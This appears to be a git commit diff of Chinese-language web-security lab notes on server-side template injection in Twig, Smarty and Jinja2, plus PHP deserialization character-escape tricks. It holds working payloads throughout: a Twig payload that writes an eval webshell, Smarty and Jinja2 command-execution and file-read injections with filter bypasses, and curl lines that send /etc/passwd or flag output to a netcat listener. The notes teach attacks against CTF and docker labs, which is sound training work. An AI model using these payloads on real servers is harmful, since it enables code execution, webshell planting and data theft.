10-12-周日_09-45-51
This commit is contained in:
@@ -162,7 +162,7 @@ echo $twig->render('tags.twig',[
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
有两种形式的分隔符:{{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。
|
有两种形式的分隔符:{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。
|
||||||
|
|
||||||
需要注意的是twig会生产缓存文件,所以导致有时候模版的变化并不能直接看到效果,可以每次都让php先清理缓存,再渲染模版
|
需要注意的是twig会生产缓存文件,所以导致有时候模版的变化并不能直接看到效果,可以每次都让php先清理缓存,再渲染模版
|
||||||
|
|
||||||
@@ -515,6 +515,12 @@ public function registerUndefinedFilterCallback($callable)
|
|||||||
|
|
||||||
#### 4.3.11 Twig 2.x / 3.x
|
#### 4.3.11 Twig 2.x / 3.x
|
||||||
|
|
||||||
|
需要切换版本
|
||||||
|
|
||||||
|
```
|
||||||
|
composer require "twig/twig:^3.0"
|
||||||
|
```
|
||||||
|
|
||||||
测试代码如下:
|
测试代码如下:
|
||||||
|
|
||||||
```php
|
```php
|
||||||
@@ -613,7 +619,7 @@ twig_array_map([0 => "id"], "system")
|
|||||||
如果上面这些命令执行函数都被禁用了,我们还可以执行其他函数执行任意代码:
|
如果上面这些命令执行函数都被禁用了,我们还可以执行其他函数执行任意代码:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{{"<?php phpinfo();eval($_POST[whoami])":"/app/public/hell.php"}|map("file_put_contents")}} // 写 Webshell
|
{{{"<?php phpinfo();eval($_POST[whoami])":"/app/public/shell.php"}|map("file_put_contents")}} // 写 Webshell
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
@@ -810,7 +816,7 @@ composer require smarty/smarty:^3
|
|||||||
require 'vendor/autoload.php';
|
require 'vendor/autoload.php';
|
||||||
$smarty = new Smarty();
|
$smarty = new Smarty();
|
||||||
$smarty->setTemplateDir('templates');
|
$smarty->setTemplateDir('templates');
|
||||||
$smarty->assign('name', 'eagleslab');
|
$smarty->assign('name', '张三');
|
||||||
$smarty->display('index.tpl');
|
$smarty->display('index.tpl');
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -820,7 +826,7 @@ $smarty->display('index.tpl');
|
|||||||
<h1>Hello {$name} !</h1>
|
<h1>Hello {$name} !</h1>
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
#### 4.5.2 开始复现
|
#### 4.5.2 开始复现
|
||||||
|
|
||||||
@@ -837,6 +843,8 @@ $smarty->display($data);
|
|||||||
// 模版文件直接由用户端传入
|
// 模版文件直接由用户端传入
|
||||||
```
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
任意文件读取
|
任意文件读取
|
||||||
|
|
||||||
- POC:`string:{{include file='C:/Windows/win.ini'}`
|
- POC:`string:{{include file='C:/Windows/win.ini'}`
|
||||||
@@ -918,7 +926,7 @@ string:{function name='x(){};system(whoami);function '}{/function}
|
|||||||
|
|
||||||
#### 4.5.4 CVE-2021-26119
|
#### 4.5.4 CVE-2021-26119
|
||||||
|
|
||||||
我们将版本切换到最新版
|
我们将版本切换到3.1.46版本
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker exec -it lnmp74 bash
|
docker exec -it lnmp74 bash
|
||||||
@@ -941,7 +949,7 @@ string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{sy
|
|||||||
```
|
```
|
||||||
|
|
||||||
- 漏洞原因:可以通过`{{$smarty.template_object}`访问到 smarty 对象所导致
|
- 漏洞原因:可以通过`{{$smarty.template_object}`访问到 smarty 对象所导致
|
||||||
- 版本限制:这个漏洞还没有被修复,我试过最新版本 4.1.0 跟 3.1.44 都能注入恶意代码
|
- 版本限制:这个漏洞能够生效的最新版本 4.1.0 跟 3.1.44 都能注入恶意代码
|
||||||
|
|
||||||
测试效果
|
测试效果
|
||||||
|
|
||||||
@@ -1011,7 +1019,7 @@ if __name__ == '__main__':
|
|||||||
└─# python app.py
|
└─# python app.py
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
测试代码
|
测试代码
|
||||||
|
|
||||||
@@ -1037,11 +1045,11 @@ if __name__ == '__main__':
|
|||||||
|
|
||||||
以flask的jinja2引擎为例,官方的模板语法如下:
|
以flask的jinja2引擎为例,官方的模板语法如下:
|
||||||
|
|
||||||
- {{% ... %} 用于声明,比如在使用for控制语句或者if语句时
|
- {% ... %} 用于声明,比如在使用for控制语句或者if语句时
|
||||||
- {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式
|
- {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式
|
||||||
- {{# ... #} 用于模板注释
|
- {# ... #} 用于模板注释
|
||||||
- \# ... ## 用于行语句,就是对语法的简化
|
- \# ... ## 用于行语句,就是对语法的简化
|
||||||
- \#...#可以有和{{%%}相同的效果
|
- \#...#可以有和{%%}相同的效果
|
||||||
|
|
||||||
由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下面通过 SSTI 命令执行成功执行 whoami 命令:
|
由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下面通过 SSTI 命令执行成功执行 whoami 命令:
|
||||||
|
|
||||||
@@ -1166,13 +1174,13 @@ select() 通过对每个对象应用测试并仅选择测试成功的对象来
|
|||||||
|
|
||||||
##### 5.1.3.1 读取文件
|
##### 5.1.3.1 读取文件
|
||||||
|
|
||||||
python2的使用`<type 'file'>`这个类型
|
python2的使用`<type 'file'>`这个类型
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
|
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
|
||||||
```
|
```
|
||||||
|
|
||||||
python3中调用`<class '_frozen_importlib_external.FileLoader'>`这个类去读取文件
|
python3中调用`<class '_frozen_importlib_external.FileLoader'>`这个类去读取文件
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
|
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
|
||||||
@@ -1190,8 +1198,7 @@ python3中调用`<class '_frozen_importlib_external.FileLoader'>`这个类去
|
|||||||
|
|
||||||
注意!需要关闭flask的debug模式,因为报错界面里面包含eval,会导致每个页面都符合。
|
注意!需要关闭flask的debug模式,因为报错界面里面包含eval,会导致每个页面都符合。
|
||||||
|
|
||||||
```
|
```python
|
||||||
app.run(host="0.0.0.0",port=5000,debug=False)
|
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
headers = {
|
headers = {
|
||||||
@@ -1199,7 +1206,6 @@ headers = {
|
|||||||
}
|
}
|
||||||
for i in range(500):
|
for i in range(500):
|
||||||
url = "http://192.168.173.66:5000/ssti?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
|
url = "http://192.168.173.66:5000/ssti?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
|
||||||
print(url)
|
|
||||||
res = requests.get(url=url, headers=headers)
|
res = requests.get(url=url, headers=headers)
|
||||||
if 'eval' in res.text:
|
if 'eval' in res.text:
|
||||||
print(i)
|
print(i)
|
||||||
@@ -1451,15 +1457,15 @@ subprocess 意在替代其他几个老的模块或者函数,比如:os.system
|
|||||||
```plain
|
```plain
|
||||||
{{().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
|
{{().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
|
||||||
|
|
||||||
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
|
{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
|
||||||
```
|
```
|
||||||
|
|
||||||
等同于:
|
等同于:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
|
{{().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
|
||||||
|
|
||||||
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
|
{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('ls /').read()}}
|
||||||
```
|
```
|
||||||
|
|
||||||
#### 5.2.4 利用Hex编码绕过关键字
|
#### 5.2.4 利用Hex编码绕过关键字
|
||||||
@@ -1583,7 +1589,7 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定
|
|||||||
示例:
|
示例:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{''.__class__.__mro__.__getitem__(1).__subclasses__().pop(79).__dict__.get_data(0,request.args.path)}}&path=/etc/passwd
|
{{().__class__.__mro__.__getitem__(1).__subclasses__().pop(79).__dict__.get_data(0,request.args.path)}}&path=/etc/passwd
|
||||||
|
|
||||||
{{().__class__.__base__.__subclasses__()[400].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
|
{{().__class__.__base__.__subclasses__()[400].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
|
||||||
```
|
```
|
||||||
@@ -1656,21 +1662,27 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定
|
|||||||
|
|
||||||
##### 5.2.7.5 过滤了大括号 {{
|
##### 5.2.7.5 过滤了大括号 {{
|
||||||
|
|
||||||
我们可以用Jinja2的 {{%...%} 语句装载一个循环控制语句来绕过:
|
我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
|
{% for c in [].__class__.__base__.__subclasses__() %}
|
||||||
|
{% if c.__name__=='catch_warnings' %}
|
||||||
|
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
|
||||||
|
{% endif %}
|
||||||
|
{% endfor %}
|
||||||
```
|
```
|
||||||
|
|
||||||
也可以使用 {{% if ... %}1{{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
|
也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{% if ''.__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('curl http://10.3.66.102:2333/?key=`cat /etc/passwd`')%}1{% endif %}
|
{% if ''.__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('curl http://10.3.66.102:2333/?key=`cat /etc/passwd`')%}
|
||||||
|
1
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
# 开启 nc 监听 nc -lvp 2333
|
# 开启 nc 监听 nc -lvp 2333
|
||||||
```
|
```
|
||||||
|
|
||||||
也可以用 {{%print(......)%} 的形式来代替 {{ ,如下:
|
也可以用 {%print(......)%} 的形式来代替 {{ ,如下:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%}
|
{%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%}
|
||||||
@@ -1722,13 +1734,13 @@ __ . [ "
|
|||||||
{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
|
{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
|
||||||
```
|
```
|
||||||
|
|
||||||
由于中括号 [ 被过滤了,我们可以用 __getitem__() 来绕过(尽量不要用pop()),类似如下:
|
由于中括号 [ 被过滤了,我们可以用 `__getitem__()` 来绕过(尽量不要用pop()),类似如下:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{().__class__.__base__.__subclasses__().__getitem__(400).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}
|
{{().__class__.__base__.__subclasses__().__getitem__(400).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}
|
||||||
```
|
```
|
||||||
|
|
||||||
由于还过滤了下划线 __,我们可以用request对象绕过,但是还过滤了中括号 [],所以我们要同时绕过 __ 和 [,就用到了我们的|attr()
|
由于还过滤了下划线` __`,我们可以用request对象绕过,但是还过滤了中括号 [],所以我们要同时绕过 __ 和 [,就用到了我们的|attr()
|
||||||
|
|
||||||
所以最终的payload如下:
|
所以最终的payload如下:
|
||||||
|
|
||||||
@@ -1901,7 +1913,7 @@ if __name__ == "__main__":
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
可以看到,我们得到了一段字符串:`<generator object select_or_reject at 0x7f3684f2f3e0>`,这段字符串中不仅存在字符,还存在空格、下划线,尖号和数字。也就是说,如果题目过滤了这些字符的话,我们便可以在 `<generator object select_or_reject at 0x7f3684f2f3e0>` 这个字符串中取到我们想要的字符,从而绕过过滤。
|
可以看到,我们得到了一段字符串:`<generator object select_or_reject at 0x7f3684f2f3e0>`,这段字符串中不仅存在字符,还存在空格、下划线,尖号和数字。也就是说,如果题目过滤了这些字符的话,我们便可以在 `<generator object select_or_reject at 0x7f3684f2f3e0>` 这个字符串中取到我们想要的字符,从而绕过过滤。
|
||||||
|
|
||||||
然后我们在使用list()过滤器将字符串转化为列表:
|
然后我们在使用list()过滤器将字符串转化为列表:
|
||||||
|
|
||||||
@@ -1977,7 +1989,7 @@ if __name__ == "__main__":
|
|||||||
{% set bul = xhx*2~but~xhx*2 %} # __builtins__
|
{% set bul = xhx*2~but~xhx*2 %} # __builtins__
|
||||||
```
|
```
|
||||||
|
|
||||||
将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():
|
将上面构造的字符或字符串拼接起来构造出` __import__('os').popen('cat /flag').read()`:
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
|
{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
|
||||||
@@ -1985,7 +1997,7 @@ if __name__ == "__main__":
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
如上图所示,成功构造出了 __import__('os').popen('cat /flag').read() 。
|
如上图所示,成功构造出了 `__import__('os').popen('cat /flag').read() `。
|
||||||
|
|
||||||
然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
|
然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
|
||||||
|
|
||||||
@@ -2081,7 +2093,7 @@ Payload构造过程如下:
|
|||||||
最后的payload如下
|
最后的payload如下
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
|
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
@@ -2130,7 +2142,7 @@ import
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
访问到了类,我们就可以通过 __bases__ 来获取基类的元组,带上索引0就可以访问到相应的基类。由此一直向上我们就可以访问到最顶层的object基类了。(同样的,如果没有过滤config的话,我们还可以利用config来逃逸,方法与session的相同)
|
访问到了类,我们就可以通过 `__bases__` 来获取基类的元组,带上索引0就可以访问到相应的基类。由此一直向上我们就可以访问到最顶层的object基类了。(同样的,如果没有过滤config的话,我们还可以利用config来逃逸,方法与session的相同)
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@@ -2149,15 +2161,15 @@ SSTI目的无非就是两个:文件读写、执行命令。因此我们核心
|
|||||||

|

|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[343]}}
|
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[128]}}
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
我们调用它的 __init__ 函数将其实例化,然后用 __globals__ 查看其全局变量。
|
我们调用它的 `__init__` 函数将其实例化,然后用` __globals__ `查看其全局变量。
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[343].__init__.__globals__}}
|
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[128].__init__.__globals__}}
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
@@ -2165,13 +2177,13 @@ SSTI目的无非就是两个:文件读写、执行命令。因此我们核心
|
|||||||
确认存在“popen”
|
确认存在“popen”
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[343].__init__.__globals__['po'+'pen']('ls /').read()}}
|
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[128].__init__.__globals__['po'+'pen']('ls /').read()}}
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[343].__init__.__globals__['po'+'pen']('cat /Th1s__is_S3cret').read()}}
|
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[128].__init__.__globals__['po'+'pen']('cat /Th1s__is_S3cret').read()}}
|
||||||
```
|
```
|
||||||
|
|
||||||
成功拿到flag
|
成功拿到flag
|
||||||
@@ -2217,13 +2229,13 @@ os
|
|||||||
这里我们注意到了__enter__方法,查看其内容,发现其竟然有 __globals__ 方法可用,也就是说这个__enter__方法与 __init__ 方法一模一样。
|
这里我们注意到了__enter__方法,查看其内容,发现其竟然有 __globals__ 方法可用,也就是说这个__enter__方法与 __init__ 方法一模一样。
|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[160].__enter__.__globals__['po'+'pen']('ls /').read()}}
|
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[30].__enter__.__globals__['po'+'pen']('ls /').read()}}
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
```plain
|
```plain
|
||||||
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[160].__enter__.__globals__['po'+'pen']('cat /Th1s_is__F1114g').read()}}
|
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[30].__enter__.__globals__['po'+'pen']('cat /Th1s_is__F1114g').read()}}
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
@@ -2242,7 +2254,7 @@ nc -lvp 2333
|
|||||||
|
|
||||||
```plain
|
```plain
|
||||||
http://192.168.173.66:5000/haha/
|
http://192.168.173.66:5000/haha/
|
||||||
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[160].__enter__.__globals__['po'+'pen']('curl http://192.168.173.1:2333 -d `ls /`').read()}}
|
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[30].__enter__.__globals__['po'+'pen']('curl http://192.168.173.1:2333 -d `ls /`').read()}}
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
@@ -2251,7 +2263,7 @@ http://192.168.173.66:5000/haha/
|
|||||||
|
|
||||||
```plain
|
```plain
|
||||||
http://192.168.173.66:5000/haha/
|
http://192.168.173.66:5000/haha/
|
||||||
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[160].__enter__.__globals__['po'+'pen']('curl http://192.168.173.1:2333 -d `cat /Th1s_is__F1114g`').read()}}
|
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[30].__enter__.__globals__['po'+'pen']('curl http://192.168.173.1:2333 -d `cat /Th1s_is__F1114g`').read()}}
|
||||||
```
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|||||||
BIN
02.WEB安全/11.模版注入/image-20250928133502886.png
Normal file
BIN
02.WEB安全/11.模版注入/image-20250928133502886.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 65 KiB |
BIN
02.WEB安全/11.模版注入/image-20250928133649382.png
Normal file
BIN
02.WEB安全/11.模版注入/image-20250928133649382.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 62 KiB |
BIN
02.WEB安全/11.模版注入/image-20250929100901099.png
Normal file
BIN
02.WEB安全/11.模版注入/image-20250929100901099.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 72 KiB |
@@ -373,7 +373,7 @@ if(isset($_GET{'str'})) {
|
|||||||
|
|
||||||
先来理解一下源码:
|
先来理解一下源码:
|
||||||
|
|
||||||
这里先判断存不存在str传参,存在的话先拿去`is_valid`函数过滤一下,这里`is_valid`函数的作用是检查一下str字符串里面有没有存在不可打印的字符。ord函数是打印第一个字符的ASCII码必须在32到125之间
|
这里先判断存不存在str传参,存在的话先拿去`is_valid`函数过滤一下,这里`is_valid`函数的作用是检查一下str字符串里面有没有存在不可打印的字符。ord函数是打印第一个字符的ASCII码必须在32到125之间,php7.1以上版本,反序列化对public和protected不敏感,可以绕过
|
||||||
|
|
||||||
然后进入反序列化,这里反序列化后生成一个序列化对象,但是不触发任何函数,然后进程结束,序列化对象销毁,触发`__destruct()`,判断op值如果强等于“2”则把op重置为“1”,注意这里的“2”是字符串,然后把content置空,执行`process()`函数,进入`process()`函数后先判断op,op等于“1”进入write函数,op等于“2”进入read函数(write函数实现一个文件写入的功能,read函数实现一个文件读取的功能)
|
然后进入反序列化,这里反序列化后生成一个序列化对象,但是不触发任何函数,然后进程结束,序列化对象销毁,触发`__destruct()`,判断op值如果强等于“2”则把op重置为“1”,注意这里的“2”是字符串,然后把content置空,执行`process()`函数,进入`process()`函数后先判断op,op等于“1”进入write函数,op等于“2”进入read函数(write函数实现一个文件写入的功能,read函数实现一个文件读取的功能)
|
||||||
|
|
||||||
@@ -517,7 +517,7 @@ var_dump($c);
|
|||||||
可以看到`";s:4:"pass";s:6:"hacker";}`是27个字符串,所以我们使name的值为
|
可以看到`";s:4:"pass";s:6:"hacker";}`是27个字符串,所以我们使name的值为
|
||||||
|
|
||||||
```
|
```
|
||||||
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";},
|
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}
|
||||||
```
|
```
|
||||||
|
|
||||||
来分析这27个bb,经过第一步序列化后为
|
来分析这27个bb,经过第一步序列化后为
|
||||||
@@ -542,7 +542,7 @@ bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";
|
|||||||
|
|
||||||
是name的值,81个值
|
是name的值,81个值
|
||||||
|
|
||||||
经过filter函数过滤后,前54个c就相当于54个b,多出来的27个字符c,把27个字符`";s:4:"pass";s:6:"hacker";}`顶到后面了,到这里序列化语句就因为`;}`截止了,且name的字符串数81为81个c,符合特性二,可以反序列化成功。后面`";s:4:"pass";s:6:"123456";}`被顶出去废弃了
|
经过filter函数过滤后,前54个c就相当于54个b,多出来的27个字符c,把27个字符`";s:4:"pass";s:6:"hacker";}`顶到后面了,到这里序列化语句就因为`;}`截止了,且name的字符串数81为81个c,符合特性二,可想以反序列化成功。后面`";s:4:"pass";s:6:"123456";}`被顶出去废弃了
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
@@ -741,10 +741,12 @@ docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:easyseria
|
|||||||
|
|
||||||
filter函数是过滤函数,正则匹配替换字符串,字符逃逸的条件之一
|
filter函数是过滤函数,正则匹配替换字符串,字符逃逸的条件之一
|
||||||
|
|
||||||
extract() 函数从数组中将变量导入到当前的符号表(本题的作用是将_SESSION的两个函数变为post传参)
|
extract() 函数从数组中将变量导入到当前的符号表(本题的作用是将_SESSION的两个参数变为post传参)
|
||||||
|
|
||||||
看到传phpinfo提示可能有一些东西,进去看看
|
看到传phpinfo提示可能有一些东西,进去看看
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
很明显是要读取这个文件,代码里读取文件的地方在这里:
|
很明显是要读取这个文件,代码里读取文件的地方在这里:
|
||||||
|
|
||||||
额,也就是说,`$function`必须等于`show_image`。
|
额,也就是说,`$function`必须等于`show_image`。
|
||||||
@@ -842,7 +844,7 @@ phar反序列化即在文件系统函数(file_exists()、is_dir()等)参数
|
|||||||
|
|
||||||
**a stub**
|
**a stub**
|
||||||
|
|
||||||
